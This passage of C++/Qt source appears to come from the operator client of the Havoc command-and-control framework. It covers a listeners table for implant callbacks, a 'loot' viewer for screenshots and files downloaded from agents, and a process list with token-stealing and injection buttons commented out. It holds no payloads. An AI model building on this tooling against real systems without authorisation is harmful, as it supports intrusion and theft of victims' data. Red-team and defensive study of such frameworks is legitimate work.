FileBrowserTree->addTopLevelItem( DiskItem ); } } void FileBrowser::TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem ) { auto Parent = TreeSearchPath( ParentPath ); if ( Parent ) { if ( TreePathExists( DataItem->ParentPath ) ) return; Parent->addChild( DataItem ); return; } } auto FileBrowser::TreePathExists( QString Path ) -> bool { auto Iterator = QTreeWidgetItemIterator( FileBrowserTree ); auto Item = ( ( FileBrowserTreeItem* ) nullptr ); while ( *Iterator ) { Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) ); if ( ( Item->ParentPath.compare( Path ) == 0 ) ) return true; ++Iterator; } return false; } ================================================ FILE: client/src/UserInterface/Widgets/ListenersTable.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include void HavocNamespace::UserInterface::Widgets::ListenersTable::setupUi( QWidget* Form ) { this->ListenerWidget = Form; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "ListenerTable" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); gridLayout->setContentsMargins( 0, 0, 0, 3 ); buttonAdd = new QPushButton( Form ); buttonAdd->setObjectName( QString::fromUtf8( "pushButton_New_Profile" ) ); gridLayout->addWidget( buttonAdd, 1, 1, 1, 1 ); buttonRemove = new QPushButton( Form ); buttonRemove->setObjectName( QString::fromUtf8( "pushButton_Close" ) ); gridLayout->addWidget( buttonRemove, 1, 2, 1, 1 ); buttonEdit = new QPushButton( Form ); buttonEdit->setObjectName( QString::fromUtf8( "pushButton_4" ) ); gridLayout->addWidget( buttonEdit, 1, 3, 1, 1 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 1, 4, 1, 1 ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer, 1, 0, 1, 1 ); tableWidget = new QTableWidget( Form ); if ( tableWidget->columnCount() < 5 ) tableWidget->setColumnCount( 5 ); tableWidget->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); tableWidget->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Protocol" ) ); tableWidget->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Host" ) ); tableWidget->setHorizontalHeaderItem( 3, new QTableWidgetItem( "PortBind" ) ); tableWidget->setHorizontalHeaderItem( 4, new QTableWidgetItem( "PortConn" ) ); tableWidget->setHorizontalHeaderItem( 5, new QTableWidgetItem( "Status" ) ); tableWidget->setObjectName( QString::fromUtf8( "tableWidget" ) ); tableWidget->setMouseTracking( false ); tableWidget->setContextMenuPolicy( Qt::ActionsContextMenu ); tableWidget->setAutoFillBackground( false ); tableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); tableWidget->setShowGrid( false ); tableWidget->setSortingEnabled( false ); tableWidget->setWordWrap( true ); tableWidget->setCornerButtonEnabled( true ); tableWidget->horizontalHeader()->setVisible( true ); tableWidget->horizontalHeader()->setCascadingSectionResizes( false ); tableWidget->horizontalHeader()->setHighlightSections( false ); tableWidget->verticalHeader()->setVisible( false ); tableWidget->setSelectionBehavior( QAbstractItemView::SelectRows ); tableWidget->setSelectionMode( QAbstractItemView::SingleSelection ); tableWidget->verticalHeader()->setDefaultSectionSize( 12 ); tableWidget->setFocusPolicy( Qt::NoFocus ); gridLayout->addWidget( tableWidget, 0, 0, 1, 6 ); Form->setWindowTitle( QCoreApplication::translate( "Form", "Listener", nullptr ) ); buttonAdd->setText( QCoreApplication::translate(" Form", "Add", nullptr ) ); buttonEdit->setText( QCoreApplication::translate( "Form", "Edit", nullptr ) ); buttonRemove->setText( QCoreApplication::translate( "Form", "Remove", nullptr ) ); ButtonsInit(); QMetaObject::connectSlotsByName( Form ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::ButtonsInit() { QObject::connect( buttonAdd, &QPushButton::clicked, this, [&]() { auto ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog ); auto ListenerInfo = MapStrStr(); /* add custom listeners to it. */ for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners ) ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() ); ListenerInfo = ListenerDialog->Start( {}, false ); if ( ListenerDialog->DialogSaved ) { if ( ! ListenerInfo.empty() ) { auto Package = CreateNewPackage( Util::Packager::Listener::Add, ListenerInfo ); HavocX::Connector->SendPackage( &Package ); } } } ); QObject::connect( buttonEdit, &QPushButton::clicked, this, [&]() { if ( tableWidget->selectionModel()->selectedRows().empty() ) { MessageBox( "Listener Error", "Select one listener to edit", QMessageBox::Icon::Critical ); return; } auto ListenerName = QString(); auto ListenerItem = Util::ListenerItem{}; auto ListenerDialog = ( UserInterface::Dialogs::NewListener* ) nullptr; auto ListenerInfo = MapStrStr(); ListenerName = tableWidget->item( tableWidget->currentRow(), 0 )->text(); for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( listener.Name == ListenerName.toStdString() ) { ListenerItem = listener; break; } } ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog ); /* add custom listeners to it. */ for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners ) ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() ); ListenerInfo = ListenerDialog->Start( ListenerItem, true ); if ( ListenerDialog->DialogSaved ) { if ( ! ListenerInfo.empty() ) { auto Package = CreateNewPackage( Util::Packager::Listener::Edit, ListenerInfo ); HavocX::Connector->SendPackage( &Package ); } } delete ListenerDialog; } ); QObject::connect( buttonRemove, &QPushButton::clicked, this, [&]() { if ( tableWidget->selectionModel()->selectedRows().empty() ) { MessageBox( "Listener Error", "Select one listener to remove", QMessageBox::Icon::Critical ); return; } auto Name = tableWidget->item( tableWidget->currentRow(), 0 )->text().toStdString(); tableWidget->removeRow( tableWidget->currentRow() ); for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == Name ) { HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i ); } } auto Info = map(); Info.insert( { "Name", Name } ); auto Package = CreateNewPackage( Util::Packager::Listener::Remove, Info ); HavocX::Connector->SendPackage( &Package ); } ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::ListenerAdd( Util::ListenerItem item ) const { for ( auto& listener : HavocX::Teamserver.Listeners ) { if ( listener.Name.compare( item.Name ) == 0 ) { return; } } if ( tableWidget->rowCount() < 1 ) tableWidget->setRowCount( 1 ); else tableWidget->setRowCount( tableWidget->rowCount() + 1 ); const bool isSortingEnabled = tableWidget->isSortingEnabled(); tableWidget->setSortingEnabled( false ); auto item_Name = new QTableWidgetItem(); auto item_Protocol = new QTableWidgetItem(); auto item_Host = new QTableWidgetItem(); auto item_PortBind = new QTableWidgetItem(); auto item_PortConn = new QTableWidgetItem(); auto item_Status = new QTableWidgetItem(); item_Name->setText( item.Name.c_str() ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Name->setTextAlignment( Qt::AlignLeft ); item_Protocol->setText( item.Protocol.c_str() ); item_Protocol->setFlags( item_Protocol->flags() ^ Qt::ItemIsEditable ); item_Protocol->setTextAlignment( Qt::AlignLeft ); if ( item.Protocol == Listener::PayloadSMB.toStdString() ) { item_Host->setText( R"(\\.\pipe\)" + any_cast(item.Info).PipeName ); } else if ( item.Protocol == Listener::PayloadHTTP.toStdString() || item.Protocol == Listener::PayloadHTTPS.toStdString() ) { item_Host->setText( any_cast( item.Info ).HostBind ); item_PortBind->setText( any_cast( item.Info ).PortBind ); if ( any_cast( item.Info ).PortConn == "0" ) item_PortConn->setText( any_cast( item.Info ).PortBind ); else item_PortConn->setText( any_cast( item.Info ).PortConn ); } else if ( item.Protocol == Listener::PayloadExternal.toStdString() ) { item_Host->setText( any_cast( item.Info ).Endpoint ); } else { auto Host = QString(); auto PortBind = QString(); auto PortConn = QString(); Host = QString( any_cast( any_cast( item.Info ) )[ "Host" ].c_str() ); PortBind = QString( any_cast( any_cast( item.Info ) )[ "PortBind" ].c_str() ); PortConn = QString( any_cast( any_cast( item.Info ) )[ "PortConn" ].c_str() ); item_Host->setText( Host ); item_PortBind->setText( PortBind ); if ( PortConn == "0" ) item_PortConn->setText( PortBind ); else item_PortConn->setText( PortConn ); } item_Host->setFlags( item_Host->flags() ^ Qt::ItemIsEditable ); item_Host->setTextAlignment( Qt::AlignLeft ); item_PortBind->setFlags( item_PortBind->flags() ^ Qt::ItemIsEditable ); item_PortBind->setTextAlignment( Qt::AlignLeft ); item_PortConn->setFlags( item_PortConn->flags() ^ Qt::ItemIsEditable ); item_PortConn->setTextAlignment( Qt::AlignLeft ); item_Status->setText( item.Status.c_str() ); item_Status->setFlags( item_Status->flags() ^ Qt::ItemIsEditable ); item_Status->setTextAlignment( Qt::AlignLeft ); if ( item.Status.compare( "Online" ) == 0 ) { item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Green ) ); } else if ( item.Status.compare( "Offline" ) == 0 ) { item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) ); } tableWidget->setItem( tableWidget->rowCount() - 1, 0, item_Name ); tableWidget->setItem( tableWidget->rowCount() - 1, 1, item_Protocol ); tableWidget->setItem( tableWidget->rowCount() - 1, 2, item_Host ); tableWidget->setItem( tableWidget->rowCount() - 1, 3, item_PortBind ); tableWidget->setItem( tableWidget->rowCount() - 1, 4, item_PortConn ); tableWidget->setItem( tableWidget->rowCount() - 1, 5, item_Status ); tableWidget->setSortingEnabled( isSortingEnabled ); std::string Protocol = item.Protocol; std::transform( Protocol.begin(), Protocol.end(), Protocol.begin(), ::tolower ); HavocX::Teamserver.Listeners.push_back( item ); } void HavocNamespace::UserInterface::Widgets::ListenersTable::setDBManager( HavocSpace::DBManager* dbManager ) { this->dbManager = dbManager; } Util::Packager::Package UserInterface::Widgets::ListenersTable::CreateNewPackage( int EventID, map Listener ) const { Util::Packager::Package ListenerPackage; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Listener::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; Util::Packager::Body_t Body; auto BodyInfo = QMap( Listener ); Body.SubEvent = EventID; Body.Info = BodyInfo; ListenerPackage.Head = Head; ListenerPackage.Body = Body; return ListenerPackage; } void UserInterface::Widgets::ListenersTable::ListenerEdit( Util::ListenerItem item ) const { for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == item.Name ) { HavocX::Teamserver.Listeners[ i ].Info = item.Info; } } } void UserInterface::Widgets::ListenersTable::ListenerRemove( QString ListenerName ) const { auto Name = QString(); if ( ! ListenerName.isEmpty() ) { if ( tableWidget->rowCount() > 0 ) { for ( int i = 0; i < tableWidget->rowCount(); i++ ) { Name = tableWidget->item( i, 0 )->text(); if ( Name.compare( ListenerName ) == 0 ) { spdlog::debug( "Remove listener from table" ); tableWidget->removeRow( i ); } } } if ( ! HavocX::Teamserver.Listeners.empty() ) { for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ ) { if ( HavocX::Teamserver.Listeners[ i ].Name == ListenerName.toStdString() ) { spdlog::debug( "Remove listener from list" ); HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i ); } } } } } void UserInterface::Widgets::ListenersTable::ListenerError( QString ListenerName, QString Error ) const { for ( int i = 0; i < tableWidget->rowCount(); i++ ) { auto Row = tableWidget->item( i, 0 )->text(); if ( Row.compare( ListenerName ) == 0 ) { for ( int j = 0; j < tableWidget->columnCount(); j++ ) { tableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); tableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) ); tableWidget->item( i, j )->setToolTip( Error ); } tableWidget->item( i, 4 )->setText( "Offline [" + Error + " ]" ); } } } ================================================ FILE: client/src/UserInterface/Widgets/LootWidget.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include // imagelabel.cpp ImageLabel::ImageLabel( QWidget* parent ) : QWidget( parent ) { label = new QLabel; scrollArea = new QScrollArea( this ); label->setBackgroundRole( QPalette::Base ); label->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored ); label->setScaledContents( true ); label->setStyleSheet( "background-color: #282a36;\n" " color: #f8f8f2;" ); label->setPixmap( QPixmap() ); scrollArea->setBackgroundRole(QPalette::Dark); scrollArea->setWidget( label ); } void ImageLabel::resizeEvent( QResizeEvent* event ) { QWidget::resizeEvent( event ); resizeImage(); } const QPixmap* ImageLabel::pixmap() const { return label->pixmap(); } bool ImageLabel::event( QEvent* e ) { if ( e->type() == e->KeyPress ) { auto eventKey = dynamic_cast( e ); if ( eventKey->key() == Qt::Key_Control ) { // spdlog::info( "Key_Control pressed" ); key_ctrl = false; } } return QWidget::event( e ); } void ImageLabel::keyReleaseEvent( QKeyEvent* event ) { if ( event->key() == Qt::Key_Control ) { // spdlog::info( "Key_Control released" ); key_ctrl = true; } QWidget::keyReleaseEvent( event ); } void ImageLabel::wheelEvent( QWheelEvent* ev ) { // spdlog::info( "wheelEvent: {}", ev->angleDelta().y() ); QWidget::wheelEvent( ev ); } void ImageLabel::setPixmap( const QPixmap &pixmap ) { label->setPixmap( pixmap ); scrollArea->setWidget( label ); resizeImage(); } void ImageLabel::resizeImage() { label->setMinimumSize( size() ); label->adjustSize(); scrollArea->resize( size() ); } LootWidget::LootWidget() { if ( objectName().isEmpty() ) setObjectName( QString::fromUtf8( "LootWidget" ) ); auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); gridLayout = new QGridLayout( this ); gridLayout->setContentsMargins( 0, 0, 0, 0 ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); LabelShow = new QLabel( this ); LabelShow->setObjectName( QString::fromUtf8( "LabelShow" ) ); gridLayout->addWidget( LabelShow, 0, 3, 1, 1 ); ComboShow = new QComboBox( this ); ComboShow->addItem( QString( "Screenshots" ) ); ComboShow->addItem( QString( "Downloads" ) ); ComboShow->setObjectName( QString::fromUtf8( "ComboShow" ) ); ComboShow->setMinimumSize( QSize( 150, 0 ) ); gridLayout->addWidget( ComboShow, 0, 4, 1, 1 ); LabelAgentID = new QLabel( this ); LabelAgentID->setObjectName( QString::fromUtf8( "LabelAgentID" ) ); LabelAgentID->setText( "AgentID: " ); gridLayout->addWidget( LabelAgentID, 0, 1, 1, 1 ); ComboAgentID = new QComboBox( this ); ComboAgentID->setObjectName( QString::fromUtf8( "ComboAgentID" ) ); ComboAgentID->setMinimumSize( QSize( 150, 0 ) ); gridLayout->addWidget( ComboAgentID, 0, 2, 1, 1 ); horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer, 0, 0, 1, 1 ); StackWidget = new QStackedWidget( this ); StackWidget->setObjectName( QString::fromUtf8( "StackWidget" ) ); StackWidget->setContentsMargins( 0, 0, 0, 0 ); Screenshots = new QWidget(); Screenshots->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored ); Screenshots->setObjectName( QString::fromUtf8( "Screenshots" ) ); gridLayout_2 = new QGridLayout( Screenshots ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); splitter = new QSplitter( Screenshots ); splitter->setObjectName( QString::fromUtf8( "splitter" ) ); splitter->setOrientation( Qt::Horizontal ); splitter->setSizes( QList() << 10 << 200 ); ScreenshotTable = new QTableWidget( splitter ); if ( ScreenshotTable->columnCount() < 2 ) ScreenshotTable->setColumnCount( 2 ); ScreenshotTable->setEnabled( true ); ScreenshotTable->setShowGrid( false ); ScreenshotTable->setSortingEnabled( false ); ScreenshotTable->setWordWrap( true ); ScreenshotTable->setCornerButtonEnabled( true ); ScreenshotTable->horizontalHeader()->setVisible( true ); ScreenshotTable->setSelectionBehavior( QAbstractItemView::SelectRows ); ScreenshotTable->setContextMenuPolicy( Qt::CustomContextMenu ); ScreenshotTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); ScreenshotTable->verticalHeader()->setVisible(false); ScreenshotTable->verticalHeader()->setStretchLastSection( false ); ScreenshotTable->verticalHeader()->setDefaultSectionSize( 12 ); ScreenshotTable->setFocusPolicy( Qt::NoFocus ); ScreenshotTable->setObjectName( QString::fromUtf8( "ScreenshotTable" ) ); splitter->addWidget( ScreenshotTable ); ScreenshotImage = new ImageLabel( splitter ); ScreenshotImage->setObjectName( QString::fromUtf8( "ScreenshotImage" ) ); splitter->addWidget( ScreenshotImage ); gridLayout_2->addWidget(splitter, 0, 0, 1, 1); StackWidget->addWidget( Screenshots ); Downloads = new QWidget(); Downloads->setObjectName(QString::fromUtf8("Downloads")); gridLayout_3 = new QGridLayout( Downloads ); gridLayout_3->setObjectName(QString::fromUtf8("gridLayout_3")); DownloadTable = new QTableWidget( Downloads ); if ( DownloadTable->columnCount() < 3 ) DownloadTable->setColumnCount( 3 ); DownloadTable->setEnabled( true ); DownloadTable->setShowGrid( false ); DownloadTable->setSortingEnabled( false ); DownloadTable->setWordWrap( true ); DownloadTable->setCornerButtonEnabled( true ); DownloadTable->horizontalHeader()->setVisible( true ); DownloadTable->setSelectionBehavior( QAbstractItemView::SelectRows ); DownloadTable->setContextMenuPolicy( Qt::CustomContextMenu ); DownloadTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch ); DownloadTable->verticalHeader()->setVisible(false); DownloadTable->verticalHeader()->setStretchLastSection( false ); DownloadTable->verticalHeader()->setDefaultSectionSize( 12 ); DownloadTable->setFocusPolicy( Qt::NoFocus ); DownloadTable->setObjectName( QString::fromUtf8( "DownloadsTable" ) ); gridLayout_3->addWidget( DownloadTable, 0, 0, 1, 1 ); StackWidget->addWidget( Downloads ); gridLayout->addWidget( StackWidget, 1, 0, 1, 6 ); horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum ); gridLayout->addItem( horizontalSpacer_2, 0, 5, 1, 1 ); StackWidget->setCurrentIndex( 0 ); ScreenshotTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); ScreenshotTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Date" ) ); DownloadTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( "Name" ) ); DownloadTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( "Size" ) ); DownloadTable->setHorizontalHeaderItem( 2, new QTableWidgetItem( "Date" ) ); LabelShow->setText( "Show: " ); ScreenshotMenu = new QMenu( this ); ScreenshotActionDownload = new QAction( "Download" ); ScreenshotMenu->setStyleSheet( MenuStyle ); ScreenshotMenu->addAction( ScreenshotActionDownload ); connect( this, &QTableWidget::customContextMenuRequested, this, &LootWidget::onScreenshotTableCtx ); connect( ScreenshotTable, &QTableWidget::clicked, this, &LootWidget::onScreenshotTableClick ); connect( DownloadTable, &QTableWidget::clicked, this, &LootWidget::onDownloadTableClick ); connect( splitter, &QSplitter::splitterMoved, ScreenshotImage, &ImageLabel::resizeImage ); connect( ComboAgentID, &QComboBox::currentTextChanged, this, &LootWidget::onAgentChange ); connect( ComboShow, &QComboBox::currentTextChanged, this, &LootWidget::onShowChange ); Reload(); QMetaObject::connectSlotsByName( this ); } void LootWidget::AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data ) { spdlog::info( "Add Screenshot" ); auto Item = LootData{ .Type = LOOT_IMAGE, .AgentID = DemonID, .Data = { .Name = Name, .Date = Date, .Data = Data, }, }; LootItems.push_back( Item ); if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( "[ All ]" ) == 0 ) ScreenshotTableAdd( Name, Date ); } void LootWidget::AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data ) { auto Item = LootData{ .Type = LOOT_FILE, .AgentID = DemonID, .Data = { .Name = Name, .Date = Date, .Size = Size, .Data = Data, }, }; LootItems.push_back( Item ); if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( "[ All ]" ) == 0 ) DownloadTableAdd( Name, Size, Date ); } void LootWidget::Reload() { ComboAgentID->clear(); ComboAgentID->addItem( "[ All ]" ); for ( auto& Session : HavocX::Teamserver.Sessions ) ComboAgentID->addItem( Session.Name ); // TODO: iterate over table items and free memory ScreenshotTable->setRowCount( 0 ); DownloadTable->setRowCount( 0 ); } void LootWidget::onScreenshotTableClick( const QModelIndex &index ) { auto DemonID = ComboAgentID->currentText(); auto FileName = ScreenshotTable->item( index.row(), 0 )->text(); for ( auto& item : LootItems ) { if ( DemonID.compare( "[ All ]" ) == 0 || DemonID.compare( item.AgentID ) == 0 ) { if ( item.Type == LOOT_IMAGE ) { if ( item.Data.Name.compare( FileName ) == 0 ) { auto image = QPixmap(); if ( image.loadFromData( item.Data.Data, "BMP" ) ) { ScreenshotImage->setPixmap( image ); } } } } } } void LootWidget::onDownloadTableClick( const QModelIndex &index ) { } void LootWidget::onAgentChange( const QString& text ) { ScreenshotImage->setPixmap( QPixmap() ); // todo: free columns items for ( int i = ScreenshotTable->rowCount(); i >= 0; i-- ) ScreenshotTable->removeRow( i ); for ( auto& item : LootItems ) { if ( item.AgentID.compare( text ) == 0 || text.compare( "[ All ]" ) == 0 ) { switch ( item.Type ) { case LOOT_IMAGE: { ScreenshotTableAdd( item.Data.Name, item.Data.Date ); break; } case LOOT_FILE: { DownloadTableAdd( item.Data.Name, item.Data.Size, item.Data.Date ); break; } } } } } void LootWidget::AddSessionSection( const QString& AgentID ) { for ( int index = 0; index < ComboAgentID->count(); index++ ) { if ( ComboAgentID->itemText( index ).compare( AgentID ) == 0 ) { return; } } ComboAgentID->addItem( AgentID ); } void LootWidget::onShowChange( const QString& text ) { if ( text.compare( "Screenshots" ) == 0 ) { StackWidget->setCurrentIndex( 0 ); } else if ( text.compare( "Downloads" ) == 0 ) { StackWidget->setCurrentIndex( 1 ); } } void LootWidget::ScreenshotTableAdd( const QString &Name, const QString &Date ) { for ( int i = 0; i < ScreenshotTable->rowCount(); i++ ) { if ( ScreenshotTable->item( i, 0 )->text().compare( Name ) == 0 ) { return; } } auto item_Name = new QTableWidgetItem( Name ); auto item_Date = new QTableWidgetItem( Date ); item_Name->setTextAlignment( Qt::AlignCenter ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Date->setTextAlignment( Qt::AlignCenter ); item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable ); ScreenshotTable->rowCount() < 1 ? ScreenshotTable->setRowCount( 1 ) : ScreenshotTable->setRowCount( ScreenshotTable->rowCount() + 1 ); ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 0, item_Name ); ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 1, item_Date ); } void LootWidget::DownloadTableAdd( const QString &Name, const QString &Size, const QString &Date ) { auto item_Name = new QTableWidgetItem( Name ); auto item_Size = new QTableWidgetItem( Size ); auto item_Date = new QTableWidgetItem( Date ); item_Name->setTextAlignment( Qt::AlignCenter ); item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable ); item_Size->setTextAlignment( Qt::AlignCenter ); item_Size->setFlags( item_Size->flags() ^ Qt::ItemIsEditable ); item_Date->setTextAlignment( Qt::AlignCenter ); item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable ); DownloadTable->rowCount() < 1 ? DownloadTable->setRowCount( 1 ) : DownloadTable->setRowCount( DownloadTable->rowCount() + 1 ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 0, item_Name ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 1, item_Size ); DownloadTable->setItem( DownloadTable->rowCount() - 1, 2, item_Date ); } void LootWidget::onScreenshotTableCtx( const QPoint &pos ) { if ( ! ScreenshotTable->itemAt( pos ) ) return; ScreenshotMenu->popup( ScreenshotTable->horizontalHeader()->viewport()->mapToGlobal( pos ) ); } ================================================ FILE: client/src/UserInterface/Widgets/ProcessList.cc ================================================ #include #include #include void HavocNamespace::UserInterface::Widgets::ProcessList::setupUi(QWidget *Widget) { this->ProcessListWidget = Widget; QString MenuStyle = "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"; if (this->ProcessListWidget->objectName().isEmpty()) this->ProcessListWidget->setObjectName(QString::fromUtf8("ProcessListWidget")); this->ProcessListWidget->resize(1012, 535); gridLayout = new QGridLayout(this->ProcessListWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); splitter = new QSplitter(this->ProcessListWidget); splitter->setObjectName(QString::fromUtf8("splitter")); splitter->setOrientation(Qt::Horizontal); ProcessTree = new QTreeWidget(splitter); ProcessTree->setObjectName(QString::fromUtf8("ProcessTree")); ProcessTree->setAnimated(false); ProcessTree->header()->setVisible(false); ProcessTree->setContextMenuPolicy(Qt::CustomContextMenu); ProcessTree->setStyleSheet( "QTreeView::branch:has-siblings:!adjoins-item {\n" " border-image: url(:/treewidget/vline) 0;\n" "}\n" "\n" "QTreeView::branch:has-siblings:adjoins-item {\n" " border-image: url(:/treewidget/branch-more) 0;\n" "}\n" "\n" "QTreeView::branch:!has-children:!has-siblings:adjoins-item {\n" " border-image: url(:/treewidget/branch-end) 0;\n" "}\n" "\n" "QTreeView::branch:has-children:!has-siblings:closed,\n" "QTreeView::branch:closed:has-children:has-siblings {\n" " border-image: none;\n" " image: url(:/treewidget/branch-closed);\n" "}\n" "\n" "QTreeView::branch:open:has-children:!has-siblings,\n" "QTreeView::branch:open:has-children:has-siblings {\n" " border-image: none;\n" " image: url(:/treewidget/branch-open);\n" "}" "QMenu {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" " border: 1px solid #44475a;\n" "}\n" "\n" "QMenu::separator {\n" " background: #44475a;\n" "}\n" "\n" "QMenu::item:selected {\n" " background: #44475a;\n" "}\n" "\n" "QAction {\n" " background-color: #282a36;\n" " color: #f8f8f2;\n" "}"); splitter->addWidget(ProcessTree); ProcessTable = new QTableWidget(splitter); if (ProcessTable->columnCount() < 6) ProcessTable->setColumnCount(6); ProcessTable->setHorizontalHeaderItem(0, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(1, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(2, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(3, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(4, new QTableWidgetItem()); ProcessTable->setHorizontalHeaderItem(5, new QTableWidgetItem()); ProcessTable->setObjectName(QString::fromUtf8("ProcessTable")); QSizePolicy sizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding); sizePolicy.setHorizontalStretch(100); sizePolicy.setVerticalStretch(0); sizePolicy.setHeightForWidth(ProcessTable->sizePolicy().hasHeightForWidth()); ProcessTable->setSizePolicy(sizePolicy); splitter->addWidget(ProcessTable); ProcessTable->horizontalHeader()->setStretchLastSection(true); ProcessTable->setShowGrid(false); ProcessTable->setSortingEnabled(false); ProcessTable->setWordWrap(true); ProcessTable->setCornerButtonEnabled(true); ProcessTable->horizontalHeader()->setVisible(true); ProcessTable->horizontalHeader()->setCascadingSectionResizes(false); ProcessTable->horizontalHeader()->setHighlightSections(false); ProcessTable->verticalHeader()->setVisible(false); ProcessTable->verticalHeader()->setDefaultSectionSize(12); ProcessTable->setSelectionBehavior( QAbstractItemView::SelectRows ); ProcessTable->setSelectionMode( QAbstractItemView::SingleSelection ); ProcessTable->setContextMenuPolicy( Qt::CustomContextMenu ); gridLayout->addWidget(splitter, 0, 0, 1, 6); horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer, 1, 0, 1, 1); pushButton_Refresh = new QPushButton(this->ProcessListWidget); pushButton_Refresh->setObjectName(QString::fromUtf8("pushButton_Refresh")); gridLayout->addWidget(pushButton_Refresh, 1, 1, 1, 1); /*pushButton_Kill = new QPushButton(this->ProcessListWidget); pushButton_Kill->setObjectName(QString::fromUtf8("pushButton_Kill")); gridLayout->addWidget(pushButton_Kill, 1, 2, 1, 1); pushButton_Steal_Token = new QPushButton(this->ProcessListWidget); pushButton_Steal_Token->setObjectName(QString::fromUtf8("pushButton_Steal_Token")); gridLayout->addWidget(pushButton_Steal_Token, 1, 3, 1, 1); // pushButton_Inject = new QPushButton(this->ProcessListWidget); // pushButton_Inject->setObjectName(QString::fromUtf8("pushButton_Inject")); // gridLayout->addWidget(pushButton_Inject, 1, 4, 1, 1);*/ horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum); gridLayout->addItem(horizontalSpacer_2, 1, 2, 1, 1); actionCopyProcessID = new QAction("Copy PID"); // actionSetAsParentProcess = new QAction("Set as Parent Process"); ProcessListMenu = new QMenu( this ); ProcessListMenu->setStyleSheet( MenuStyle ); ProcessListMenu->addAction( actionCopyProcessID ); // ProcessListMenu->addAction( actionSetAsParentProcess ); ProcessListWidget->setWindowTitle(QCoreApplication::translate("Process List", "Process List", nullptr)); ProcessTree->headerItem()->setText(0, QCoreApplication::translate("Process List", "Process Tree", nullptr)); ProcessTree->setSortingEnabled(false); 